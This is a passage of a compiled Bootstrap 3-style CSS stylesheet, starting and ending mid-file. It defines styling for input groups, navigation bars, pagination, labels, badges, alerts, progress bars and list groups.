select.input-group-sm > .form-control,
select.input-group-sm > .input-group-addon,
select.input-group-sm > .input-group-btn > .btn {
  height: 30px;
  line-height: 30px;
}
textarea.input-group-sm > .form-control,
textarea.input-group-sm > .input-group-addon,
textarea.input-group-sm > .input-group-btn > .btn {
  height: auto;
}
.input-group-addon,
.input-group-btn,
.input-group .form-control {
  display: table-cell;
}
.input-group-addon:not(:first-child):not(:last-child),
.input-group-btn:not(:first-child):not(:last-child),
.input-group .form-control:not(:first-child):not(:last-child) {
  border-radius: 0;
}
.input-group-addon,
.input-group-btn {
  width: 1%;
  white-space: nowrap;
  vertical-align: middle;
}
.input-group-addon {
  padding: 6px 12px;
  font-size: 14px;
  font-weight: normal;
  line-height: 1;
  color: #555555;
  text-align: center;
  background-color: #eeeeee;
  border: 1px solid #cccccc;
  border-radius: 4px;
}
.input-group-addon.input-sm {
  padding: 5px 10px;
  font-size: 12px;
  border-radius: 3px;
}
.input-group-addon.input-lg {
  padding: 10px 16px;
  font-size: 18px;
  border-radius: 6px;
}
.input-group-addon input[type="radio"],
.input-group-addon input[type="checkbox"] {
  margin-top: 0;
}
.input-group .form-control:first-child,
.input-group-addon:first-child,
.input-group-btn:first-child > .btn,
.input-group-btn:first-child > .dropdown-toggle,
.input-group-btn:last-child > .btn:not(:last-child):not(.dropdown-toggle) {
  border-bottom-right-radius: 0;
  border-top-right-radius: 0;
}
.input-group-addon:first-child {
  border-right: 0;
}
.input-group .form-control:last-child,
.input-group-addon:last-child,
.input-group-btn:last-child > .btn,
.input-group-btn:last-child > .dropdown-toggle,
.input-group-btn:first-child > .btn:not(:first-child) {
  border-bottom-left-radius: 0;
  border-top-left-radius: 0;
}
.input-group-addon:last-child {
  border-left: 0;
}
.input-group-btn {
  position: relative;
  white-space: nowrap;
}
.input-group-btn:first-child > .btn {
  margin-right: -1px;
}
.input-group-btn:last-child > .btn {
  margin-left: -1px;
}
.input-group-btn > .btn {
  position: relative;
}
.input-group-btn > .btn + .btn {
  margin-left: -4px;
}
.input-group-btn > .btn:hover,
.input-group-btn > .btn:active {
  z-index: 2;
}
.nav {
  margin-bottom: 0;
  padding-left: 0;
  list-style: none;
}
.nav:before,
.nav:after {
  content: " ";
  display: table;
}
.nav:after {
  clear: both;
}
.nav:before,
.nav:after {
  content: " ";
  display: table;
}
.nav:after {
  clear: both;
}
.nav > li {
  position: relative;
  display: block;
}
.nav > li > a {
  position: relative;
  display: block;
  padding: 10px 15px;
}
.nav > li > a:hover,
.nav > li > a:focus {
  text-decoration: none;
  background-color: #eeeeee;
}
.nav > li.disabled > a {
  color: #999999;
}
.nav > li.disabled > a:hover,
.nav > li.disabled > a:focus {
  color: #999999;
  text-decoration: none;
  background-color: transparent;
  cursor: not-allowed;
}
.nav .open > a,
.nav .open > a:hover,
.nav .open > a:focus {
  background-color: #eeeeee;
  border-color: #428bca;
}
.nav .nav-divider {
  height: 1px;
  margin: 9px 0;
  overflow: hidden;
  background-color: #e5e5e5;
}
.nav > li > a > img {
  max-width: none;
}
.nav-tabs {
  border-bottom: 1px solid #dddddd;
}
.nav-tabs > li {
  float: left;
  margin-bottom: -1px;
}
.nav-tabs > li > a {
  margin-right: 2px;
  line-height: 1.428571429;
  border: 1px solid transparent;
  border-radius: 4px 4px 0 0;
}
.nav-tabs > li > a:hover {
  border-color: #eeeeee #eeeeee #dddddd;
}
.nav-tabs > li.active > a,
.nav-tabs > li.active > a:hover,
.nav-tabs > li.active > a:focus {
  color: #555555;
  background-color: #ffffff;
  border: 1px solid #dddddd;
  border-bottom-color: transparent;
  cursor: default;
}
.nav-tabs.nav-justified {
  width: 100%;
  border-bottom: 0;
}
.nav-tabs.nav-justified > li {
  float: none;
}
.nav-tabs.nav-justified > li > a {
  text-align: center;
  margin-bottom: 5px;
}
.nav-tabs.nav-justified > .dropdown .dropdown-menu {
  top: auto;
  left: auto;
}
@media (min-width: 768px) {
  .nav-tabs.nav-justified > li {
    display: table-cell;
    width: 1%;
  }
  .nav-tabs.nav-justified > li > a {
    margin-bottom: 0;
  }
}
.nav-tabs.nav-justified > li > a {
  margin-right: 0;
  border-radius: 4px;
}
.nav-tabs.nav-justified > .active > a,
.nav-tabs.nav-justified > .active > a:hover,
.nav-tabs.nav-justified > .active > a:focus {
  border: 1px solid #dddddd;
}
@media (min-width: 768px) {
  .nav-tabs.nav-justified > li > a {
    border-bottom: 1px solid #dddddd;
    border-radius: 4px 4px 0 0;
  }
  .nav-tabs.nav-justified > .active > a,
  .nav-tabs.nav-justified > .active > a:hover,
  .nav-tabs.nav-justified > .active > a:focus {
    border-bottom-color: #ffffff;
  }
}
.nav-pills > li {
  float: left;
}
.nav-pills > li > a {
  border-radius: 4px;
}
.nav-pills > li + li {
  margin-left: 2px;
}
.nav-pills > li.active > a,
.nav-pills > li.active > a:hover,
.nav-pills > li.active > a:focus {
  color: #ffffff;
  background-color: #428bca;
}
.nav-stacked > li {
  float: none;
}
.nav-stacked > li + li {
  margin-top: 2px;
  margin-left: 0;
}
.nav-justified {
  width: 100%;
}
.nav-justified > li {
  float: none;
}
.nav-justified > li > a {
  text-align: center;
  margin-bottom: 5px;
}
.nav-justified > .dropdown .dropdown-menu {
  top: auto;
  left: auto;
}
@media (min-width: 768px) {
  .nav-justified > li {
    display: table-cell;
    width: 1%;
  }
  .nav-justified > li > a {
    margin-bottom: 0;
  }
}
.nav-tabs-justified {
  border-bottom: 0;
}
.nav-tabs-justified > li > a {
  margin-right: 0;
  border-radius: 4px;
}
.nav-tabs-justified > .active > a,
.nav-tabs-justified > .active > a:hover,
.nav-tabs-justified > .active > a:focus {
  border: 1px solid #dddddd;
}
@media (min-width: 768px) {
  .nav-tabs-justified > li > a {
    border-bottom: 1px solid #dddddd;
    border-radius: 4px 4px 0 0;
  }
  .nav-tabs-justified > .active > a,
  .nav-tabs-justified > .active > a:hover,
  .nav-tabs-justified > .active > a:focus {
    border-bottom-color: #ffffff;
  }
}
.tab-content > .tab-pane {
  display: none;
}
.tab-content > .active {
  display: block;
}
.nav-tabs .dropdown-menu {
  margin-top: -1px;
  border-top-right-radius: 0;
  border-top-left-radius: 0;
}
.navbar {
  position: relative;
  min-height: 50px;
  margin-bottom: 20px;
  border: 1px solid transparent;
}
.navbar:before,
.navbar:after {
  content: " ";
  display: table;
}
.navbar:after {
  clear: both;
}
.navbar:before,
.navbar:after {
  content: " ";
  display: table;
}
.navbar:after {
  clear: both;
}
@media (min-width: 768px) {
  .navbar {
    border-radius: 4px;
  }
}
.navbar-header:before,
.navbar-header:after {
  content: " ";
  display: table;
}
.navbar-header:after {
  clear: both;
}
.navbar-header:before,
.navbar-header:after {
  content: " ";
  display: table;
}
.navbar-header:after {
  clear: both;
}
@media (min-width: 768px) {
  .navbar-header {
    float: left;
  }
}
.navbar-collapse {
  max-height: 340px;
  overflow-x: visible;
  padding-right: 0px;
  padding-left: 0px;
  border-top: 1px solid transparent;
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1);
  -webkit-overflow-scrolling: touch;
}
.navbar-collapse:before,
.navbar-collapse:after {
  content: " ";
  display: table;
}
.navbar-collapse:after {
  clear: both;
}
.navbar-collapse:before,
.navbar-collapse:after {
  content: " ";
  display: table;
}
.navbar-collapse:after {
  clear: both;
}
.navbar-collapse.in {
  overflow-y: auto;
}
@media (min-width: 768px) {
  .navbar-collapse {
    width: auto;
    border-top: 0;
    box-shadow: none;
  }
  .navbar-collapse.collapse {
    display: block !important;
    height: auto !important;
    padding-bottom: 0;
    overflow: visible !important;
  }
  .navbar-collapse.in {
    overflow-y: visible;
  }
  .navbar-fixed-top .navbar-collapse,
  .navbar-static-top .navbar-collapse,
  .navbar-fixed-bottom .navbar-collapse {
    padding-left: 0;
    padding-right: 0;
  }
}
.container > .navbar-header,
.container > .navbar-collapse {
  margin-right: 0px;
  margin-left: 0px;
}
@media (min-width: 768px) {
  .container > .navbar-header,
  .container > .navbar-collapse {
    margin-right: 0;
    margin-left: 0;
  }
}
.navbar-static-top {
  z-index: 1000;
  border-width: 0 0 1px;
}
@media (min-width: 768px) {
  .navbar-static-top {
    border-radius: 0;
  }
}
.navbar-fixed-top,
.navbar-fixed-bottom {
  position: fixed;
  right: 0;
  left: 0;
  z-index: 1030;
}
@media (min-width: 768px) {
  .navbar-fixed-top,
  .navbar-fixed-bottom {
    border-radius: 0;
  }
}
.navbar-fixed-top {
  top: 0;
  border-width: 0 0 1px;
}
.navbar-fixed-bottom {
  bottom: 0;
  margin-bottom: 0;
  border-width: 1px 0 0;
}
.navbar-brand {
  float: left;
  padding: 15px 0px;
  font-size: 18px;
  line-height: 20px;
}
.navbar-brand:hover,
.navbar-brand:focus {
  text-decoration: none;
}
@media (min-width: 768px) {
  .navbar > .container .navbar-brand {
    margin-left: 0px;
  }
}
.navbar-toggle {
  position: relative;
  float: right;
  margin-right: 0px;
  padding: 9px 10px;
  margin-top: 8px;
  margin-bottom: 8px;
  background-color: transparent;
  background-image: none;
  border: 1px solid transparent;
  border-radius: 4px;
}
.navbar-toggle .icon-bar {
  display: block;
  width: 22px;
  height: 2px;
  border-radius: 1px;
}
.navbar-toggle .icon-bar + .icon-bar {
  margin-top: 4px;
}
@media (min-width: 768px) {
  .navbar-toggle {
    display: none;
  }
}
.navbar-nav {
  margin: 7.5px 0px;
}
.navbar-nav > li > a {
  padding-top: 10px;
  padding-bottom: 10px;
  line-height: 20px;
}
@media (max-width: 767px) {
  .navbar-nav .open .dropdown-menu {
    position: static;
    float: none;
    width: auto;
    margin-top: 0;
    background-color: transparent;
    border: 0;
    box-shadow: none;
  }
  .navbar-nav .open .dropdown-menu > li > a,
  .navbar-nav .open .dropdown-menu .dropdown-header {
    padding: 5px 15px 5px 25px;
  }
  .navbar-nav .open .dropdown-menu > li > a {
    line-height: 20px;
  }
  .navbar-nav .open .dropdown-menu > li > a:hover,
  .navbar-nav .open .dropdown-menu > li > a:focus {
    background-image: none;
  }
}
@media (min-width: 768px) {
  .navbar-nav {
    float: left;
    margin: 0;
  }
  .navbar-nav > li {
    float: left;
  }
  .navbar-nav > li > a {
    padding-top: 15px;
    padding-bottom: 15px;
  }
  .navbar-nav.navbar-right:last-child {
    margin-right: 0px;
  }
}
@media (min-width: 768px) {
  .navbar-left {
    float: left !important;
  }
  .navbar-right {
    float: right !important;
  }
}
.navbar-form {
  margin-left: 0px;
  margin-right: 0px;
  padding: 10px 0px;
  border-top: 1px solid transparent;
  border-bottom: 1px solid transparent;
  -webkit-box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);
  box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.1), 0 1px 0 rgba(255, 255, 255, 0.1);
  margin-top: 8px;
  margin-bottom: 8px;
}
@media (min-width: 768px) {
  .navbar-form .form-group {
    display: inline-block;
    margin-bottom: 0;
    vertical-align: middle;
  }
  .navbar-form .form-control {
    display: inline-block;
  }
  .navbar-form select.form-control {
    width: auto;
  }
  .navbar-form .radio,
  .navbar-form .checkbox {
    display: inline-block;
    margin-top: 0;
    margin-bottom: 0;
    padding-left: 0;
  }
  .navbar-form .radio input[type="radio"],
  .navbar-form .checkbox input[type="checkbox"] {
    float: none;
    margin-left: 0;
  }
}
@media (max-width: 767px) {
  .navbar-form .form-group {
    margin-bottom: 5px;
  }
}
@media (min-width: 768px) {
  .navbar-form {
    width: auto;
    border: 0;
    margin-left: 0;
    margin-right: 0;
    padding-top: 0;
    padding-bottom: 0;
    -webkit-box-shadow: none;
    box-shadow: none;
  }
  .navbar-form.navbar-right:last-child {
    margin-right: 0px;
  }
}
.navbar-nav > li > .dropdown-menu {
  margin-top: 0;
  border-top-right-radius: 0;
  border-top-left-radius: 0;
}
.navbar-fixed-bottom .navbar-nav > li > .dropdown-menu {
  border-bottom-right-radius: 0;
  border-bottom-left-radius: 0;
}
.navbar-nav.pull-right > li > .dropdown-menu,
.navbar-nav > li > .dropdown-menu.pull-right {
  left: auto;
  right: 0;
}
.navbar-btn {
  margin-top: 8px;
  margin-bottom: 8px;
}
.navbar-btn.btn-sm {
  margin-top: 10px;
  margin-bottom: 10px;
}
.navbar-btn.btn-xs {
  margin-top: 14px;
  margin-bottom: 14px;
}
.navbar-text {
  margin-top: 15px;
  margin-bottom: 15px;
}
@media (min-width: 768px) {
  .navbar-text {
    float: left;
    margin-left: 0px;
    margin-right: 0px;
  }
  .navbar-text.navbar-right:last-child {
    margin-right: 0;
  }
}
.navbar-default {
  background-color: #f8f8f8;
  border-color: #e7e7e7;
}
.navbar-default .navbar-brand {
  color: #777777;
}
.navbar-default .navbar-brand:hover,
.navbar-default .navbar-brand:focus {
  color: #5e5e5e;
  background-color: transparent;
}
.navbar-default .navbar-text {
  color: #777777;
}
.navbar-default .navbar-nav > li > a {
  color: #777777;
}
.navbar-default .navbar-nav > li > a:hover,
.navbar-default .navbar-nav > li > a:focus {
  color: #333333;
  background-color: transparent;
}
.navbar-default .navbar-nav > .active > a,
.navbar-default .navbar-nav > .active > a:hover,
.navbar-default .navbar-nav > .active > a:focus {
  color: #555555;
  background-color: #e7e7e7;
}
.navbar-default .navbar-nav > .disabled > a,
.navbar-default .navbar-nav > .disabled > a:hover,
.navbar-default .navbar-nav > .disabled > a:focus {
  color: #cccccc;
  background-color: transparent;
}
.navbar-default .navbar-toggle {
  border-color: #dddddd;
}
.navbar-default .navbar-toggle:hover,
.navbar-default .navbar-toggle:focus {
  background-color: #dddddd;
}
.navbar-default .navbar-toggle .icon-bar {
  background-color: #cccccc;
}
.navbar-default .navbar-collapse,
.navbar-default .navbar-form {
  border-color: #e7e7e7;
}
.navbar-default .navbar-nav > .open > a,
.navbar-default .navbar-nav > .open > a:hover,
.navbar-default .navbar-nav > .open > a:focus {
  background-color: #e7e7e7;
  color: #555555;
}
@media (max-width: 767px) {
  .navbar-default .navbar-nav .open .dropdown-menu > li > a {
    color: #777777;
  }
  .navbar-default .navbar-nav .open .dropdown-menu > li > a:hover,
  .navbar-default .navbar-nav .open .dropdown-menu > li > a:focus {
    color: #333333;
    background-color: transparent;
  }
  .navbar-default .navbar-nav .open .dropdown-menu > .active > a,
  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:hover,
  .navbar-default .navbar-nav .open .dropdown-menu > .active > a:focus {
    color: #555555;
    background-color: #e7e7e7;
  }
  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a,
  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:hover,
  .navbar-default .navbar-nav .open .dropdown-menu > .disabled > a:focus {
    color: #cccccc;
    background-color: transparent;
  }
}
.navbar-default .navbar-link {
  color: #777777;
}
.navbar-default .navbar-link:hover {
  color: #333333;
}
.navbar-inverse {
  background-color: #222222;
  border-color: #080808;
}
.navbar-inverse .navbar-brand {
  color: #999999;
}
.navbar-inverse .navbar-brand:hover,
.navbar-inverse .navbar-brand:focus {
  color: #ffffff;
  background-color: transparent;
}
.navbar-inverse .navbar-text {
  color: #999999;
}
.navbar-inverse .navbar-nav > li > a {
  color: #999999;
}
.navbar-inverse .navbar-nav > li > a:hover,
.navbar-inverse .navbar-nav > li > a:focus {
  color: #ffffff;
  background-color: transparent;
}
.navbar-inverse .navbar-nav > .active > a,
.navbar-inverse .navbar-nav > .active > a:hover,
.navbar-inverse .navbar-nav > .active > a:focus {
  color: #ffffff;
  background-color: #080808;
}
.navbar-inverse .navbar-nav > .disabled > a,
.navbar-inverse .navbar-nav > .disabled > a:hover,
.navbar-inverse .navbar-nav > .disabled > a:focus {
  color: #444444;
  background-color: transparent;
}
.navbar-inverse .navbar-toggle {
  border-color: #333333;
}
.navbar-inverse .navbar-toggle:hover,
.navbar-inverse .navbar-toggle:focus {
  background-color: #333333;
}
.navbar-inverse .navbar-toggle .icon-bar {
  background-color: #ffffff;
}
.navbar-inverse .navbar-collapse,
.navbar-inverse .navbar-form {
  border-color: #101010;
}
.navbar-inverse .navbar-nav > .open > a,
.navbar-inverse .navbar-nav > .open > a:hover,
.navbar-inverse .navbar-nav > .open > a:focus {
  background-color: #080808;
  color: #ffffff;
}
@media (max-width: 767px) {
  .navbar-inverse .navbar-nav .open .dropdown-menu > .dropdown-header {
    border-color: #080808;
  }
  .navbar-inverse .navbar-nav .open .dropdown-menu .divider {
    background-color: #080808;
  }
  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a {
    color: #999999;
  }
  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:hover,
  .navbar-inverse .navbar-nav .open .dropdown-menu > li > a:focus {
    color: #ffffff;
    background-color: transparent;
  }
  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a,
  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:hover,
  .navbar-inverse .navbar-nav .open .dropdown-menu > .active > a:focus {
    color: #ffffff;
    background-color: #080808;
  }
  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a,
  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:hover,
  .navbar-inverse .navbar-nav .open .dropdown-menu > .disabled > a:focus {
    color: #444444;
    background-color: transparent;
  }
}
.navbar-inverse .navbar-link {
  color: #999999;
}
.navbar-inverse .navbar-link:hover {
  color: #ffffff;
}
.breadcrumb {
  padding: 8px 15px;
  margin-bottom: 20px;
  list-style: none;
  background-color: #f5f5f5;
  border-radius: 4px;
}
.breadcrumb > li {
  display: inline-block;
}
.breadcrumb > li + li:before {
  content: "/\00a0";
  padding: 0 5px;
  color: #cccccc;
}
.breadcrumb > .active {
  color: #999999;
}
.pagination {
  display: inline-block;
  padding-left: 0;
  margin: 20px 0;
  border-radius: 4px;
}
.pagination > li {
  display: inline;
}
.pagination > li > a,
.pagination > li > span {
  position: relative;
  float: left;
  padding: 6px 12px;
  line-height: 1.428571429;
  text-decoration: none;
  background-color: #ffffff;
  border: 1px solid #dddddd;
  margin-left: -1px;
}
.pagination > li:first-child > a,
.pagination > li:first-child > span {
  margin-left: 0;
  border-bottom-left-radius: 4px;
  border-top-left-radius: 4px;
}
.pagination > li:last-child > a,
.pagination > li:last-child > span {
  border-bottom-right-radius: 4px;
  border-top-right-radius: 4px;
}
.pagination > li > a:hover,
.pagination > li > span:hover,
.pagination > li > a:focus,
.pagination > li > span:focus {
  background-color: #eeeeee;
}
.pagination > .active > a,
.pagination > .active > span,
.pagination > .active > a:hover,
.pagination > .active > span:hover,
.pagination > .active > a:focus,
.pagination > .active > span:focus {
  z-index: 2;
  color: #ffffff;
  background-color: #428bca;
  border-color: #428bca;
  cursor: default;
}
.pagination > .disabled > span,
.pagination > .disabled > span:hover,
.pagination > .disabled > span:focus,
.pagination > .disabled > a,
.pagination > .disabled > a:hover,
.pagination > .disabled > a:focus {
  color: #999999;
  background-color: #ffffff;
  border-color: #dddddd;
  cursor: not-allowed;
}
.pagination-lg > li > a,
.pagination-lg > li > span {
  padding: 10px 16px;
  font-size: 18px;
}
.pagination-lg > li:first-child > a,
.pagination-lg > li:first-child > span {
  border-bottom-left-radius: 6px;
  border-top-left-radius: 6px;
}
.pagination-lg > li:last-child > a,
.pagination-lg > li:last-child > span {
  border-bottom-right-radius: 6px;
  border-top-right-radius: 6px;
}
.pagination-sm > li > a,
.pagination-sm > li > span {
  padding: 5px 10px;
  font-size: 12px;
}
.pagination-sm > li:first-child > a,
.pagination-sm > li:first-child > span {
  border-bottom-left-radius: 3px;
  border-top-left-radius: 3px;
}
.pagination-sm > li:last-child > a,
.pagination-sm > li:last-child > span {
  border-bottom-right-radius: 3px;
  border-top-right-radius: 3px;
}
.pager {
  padding-left: 0;
  margin: 20px 0;
  list-style: none;
  text-align: center;
}
.pager:before,
.pager:after {
  content: " ";
  display: table;
}
.pager:after {
  clear: both;
}
.pager:before,
.pager:after {
  content: " ";
  display: table;
}
.pager:after {
  clear: both;
}
.pager li {
  display: inline;
}
.pager li > a,
.pager li > span {
  display: inline-block;
  padding: 5px 14px;
  background-color: #ffffff;
  border: 1px solid #dddddd;
  border-radius: 15px;
}
.pager li > a:hover,
.pager li > a:focus {
  text-decoration: none;
  background-color: #eeeeee;
}
.pager .next > a,
.pager .next > span {
  float: right;
}
.pager .previous > a,
.pager .previous > span {
  float: left;
}
.pager .disabled > a,
.pager .disabled > a:hover,
.pager .disabled > a:focus,
.pager .disabled > span {
  color: #999999;
  background-color: #ffffff;
  cursor: not-allowed;
}
.label {
  display: inline;
  padding: .2em .6em .3em;
  font-size: 75%;
  font-weight: bold;
  line-height: 1;
  color: #ffffff;
  text-align: center;
  white-space: nowrap;
  vertical-align: baseline;
  border-radius: .25em;
}
.label[href]:hover,
.label[href]:focus {
  color: #ffffff;
  text-decoration: none;
  cursor: pointer;
}
.label:empty {
  display: none;
}
.btn .label {
  position: relative;
  top: -1px;
}
.label-default {
  background-color: #999999;
}
.label-default[href]:hover,
.label-default[href]:focus {
  background-color: #808080;
}
.label-primary {
  background-color: #428bca;
}
.label-primary[href]:hover,
.label-primary[href]:focus {
  background-color: #3071a9;
}
.label-success {
  background-color: #5cb85c;
}
.label-success[href]:hover,
.label-success[href]:focus {
  background-color: #449d44;
}
.label-info {
  background-color: #5bc0de;
}
.label-info[href]:hover,
.label-info[href]:focus {
  background-color: #31b0d5;
}
.label-warning {
  background-color: #f0ad4e;
}
.label-warning[href]:hover,
.label-warning[href]:focus {
  background-color: #ec971f;
}
.label-danger {
  background-color: #d9534f;
}
.label-danger[href]:hover,
.label-danger[href]:focus {
  background-color: #c9302c;
}
.badge {
  display: inline-block;
  min-width: 10px;
  padding: 3px 7px;
  font-size: 12px;
  font-weight: bold;
  color: #ffffff;
  line-height: 1;
  vertical-align: baseline;
  white-space: nowrap;
  text-align: center;
  background-color: #999999;
  border-radius: 10px;
}
.badge:empty {
  display: none;
}
.btn .badge {
  position: relative;
  top: -1px;
}
a.badge:hover,
a.badge:focus {
  color: #ffffff;
  text-decoration: none;
  cursor: pointer;
}
a.list-group-item.active > .badge,
.nav-pills > .active > a > .badge {
  color: #428bca;
  background-color: #ffffff;
}
.nav-pills > li > a > .badge {
  margin-left: 3px;
}
.jumbotron {
  padding: 30px;
  margin-bottom: 30px;
  font-size: 21px;
  font-weight: 200;
  line-height: 2.1428571435;
  color: inherit;
  background-color: #eeeeee;
}
.jumbotron h1,
.jumbotron .h1 {
  line-height: 1;
  color: inherit;
}
.jumbotron p {
  line-height: 1.4;
}
.container .jumbotron {
  border-radius: 6px;
}
.jumbotron .container {
  max-width: 100%;
}
@media screen and (min-width: 768px) {
  .jumbotron {
    padding-top: 48px;
    padding-bottom: 48px;
  }
  .container .jumbotron {
    padding-left: 60px;
    padding-right: 60px;
  }
  .jumbotron h1,
  .jumbotron .h1 {
    font-size: 63px;
  }
}
.thumbnail {
  display: block;
  padding: 4px;
  margin-bottom: 20px;
  line-height: 1.428571429;
  background-color: #ffffff;
  border: 1px solid #dddddd;
  border-radius: 4px;
  -webkit-transition: all 0.2s ease-in-out;
  transition: all 0.2s ease-in-out;
}
.thumbnail > img,
.thumbnail a > img {
  display: block;
  max-width: 100%;
  height: auto;
  margin-left: auto;
  margin-right: auto;
}
a.thumbnail:hover,
a.thumbnail:focus,
a.thumbnail.active {
  border-color: #428bca;
}
.thumbnail .caption {
  padding: 9px;
  color: #333333;
}
.alert {
  padding: 15px;
  margin-bottom: 20px;
  border: 1px solid transparent;
  border-radius: 4px;
}
.alert h4 {
  margin-top: 0;
  color: inherit;
}
.alert .alert-link {
  font-weight: bold;
}
.alert > p,
.alert > ul {
  margin-bottom: 0;
}
.alert > p + p {
  margin-top: 5px;
}
.alert-dismissable {
  padding-right: 35px;
}
.alert-dismissable .close {
  position: relative;
  top: -2px;
  right: -21px;
  color: inherit;
}
.alert-success {
  background-color: #dff0d8;
  border-color: #d6e9c6;
  color: #3c763d;
}
.alert-success hr {
  border-top-color: #c9e2b3;
}
.alert-success .alert-link {
  color: #2b542c;
}
.alert-info {
  background-color: #d9edf7;
  border-color: #bce8f1;
  color: #31708f;
}
.alert-info hr {
  border-top-color: #a6e1ec;
}
.alert-info .alert-link {
  color: #245269;
}
.alert-warning {
  background-color: #fcf8e3;
  border-color: #faebcc;
  color: #8a6d3b;
}
.alert-warning hr {
  border-top-color: #f7e1b5;
}
.alert-warning .alert-link {
  color: #66512c;
}
.alert-danger {
  background-color: #f2dede;
  border-color: #ebccd1;
  color: #a94442;
}
.alert-danger hr {
  border-top-color: #e4b9c0;
}
.alert-danger .alert-link {
  color: #843534;
}
@-webkit-keyframes progress-bar-stripes {
  from {
    background-position: 40px 0;
  }
  to {
    background-position: 0 0;
  }
}
@keyframes progress-bar-stripes {
  from {
    background-position: 40px 0;
  }
  to {
    background-position: 0 0;
  }
}
.progress {
  overflow: hidden;
  height: 20px;
  margin-bottom: 20px;
  background-color: #f5f5f5;
  border-radius: 4px;
  -webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
  box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);
}
.progress-bar {
  float: left;
  width: 0%;
  height: 100%;
  font-size: 12px;
  line-height: 20px;
  color: #ffffff;
  text-align: center;
  background-color: #428bca;
  -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);
  box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);
  -webkit-transition: width 0.6s ease;
  transition: width 0.6s ease;
}
.progress-striped .progress-bar {
  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
  background-size: 40px 40px;
}
.progress.active .progress-bar {
  -webkit-animation: progress-bar-stripes 2s linear infinite;
  animation: progress-bar-stripes 2s linear infinite;
}
.progress-bar-success {
  background-color: #5cb85c;
}
.progress-striped .progress-bar-success {
  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
}
.progress-bar-info {
  background-color: #5bc0de;
}
.progress-striped .progress-bar-info {
  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
}
.progress-bar-warning {
  background-color: #f0ad4e;
}
.progress-striped .progress-bar-warning {
  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
}
.progress-bar-danger {
  background-color: #d9534f;
}
.progress-striped .progress-bar-danger {
  background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
  background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);
}
.media,
.media-body {
  overflow: hidden;
  zoom: 1;
}
.media,
.media .media {
  margin-top: 15px;
}
.media:first-child {
  margin-top: 0;
}
.media-object {
  display: block;
}
.media-heading {
  margin: 0 0 5px;
}
.media > .pull-left {
  margin-right: 10px;
}
.media > .pull-right {
  margin-left: 10px;
}
.media-list {
  padding-left: 0;
  list-style: none;
}
.list-group {
  margin-bottom: 20px;
  padding-left: 0;
}
.list-group-item {
  position: relative;
  display: block;
  padding: 10px 15px;
  margin-bottom: -1px;
  background-color: #ffffff;
  border: 1px solid #dddddd;
}
.list-group-item:first-child {
  border-top-right-radius: 4px;
  border-top-left-radius: 4px;
}
.list-group-item:last-child {
  margin-bottom: 0;
  border-bottom-right-radius: 4px;
  border-bottom-left-radius: 4px;
}
.list-group-item > .badge {
  float: right;
}
.list-group-item > .badge + .badge {
  margin-right: 5px;
}
a.list-group-item {
  color: #555555;
}
a.list-group-item .list-group-item-heading {
  color: #333333;
}
a.list-group-item:hover,
a.list-group-item:focus {
  text-decoration: none;
  background-color: #f5f5f5;
}
a.list-group-item.active,
a.list-group-item.active:hover,
a.list-group-item.active:focus {
  z-index: 2;
  color: #ffffff;
  background-color: #428bca;
  border-color: #428bca;
}
a.list-group-item.active .list-group-item-heading,
a.list-group-item.active:hover .list-group-item-heading,
a.list-group-item.active:focus .list-group-item-heading {
  color: inherit;
}
a.list-group-item.active .list-group-item-text,
a.list-group-item.active:hover .list-group-item-text,
a.list-group-item.active:focus .list-group-item-text {
  color: #e1edf7;
}
.list-group-item-heading {
  margin-top: 0;
  margin-bottom: 5px;
}
.list-group-item-text {
  margin-bottom: 0;
  line-height: 1.3;
}
.panel {
  margin-bottom: 20px;
  background-color: #ffffff;
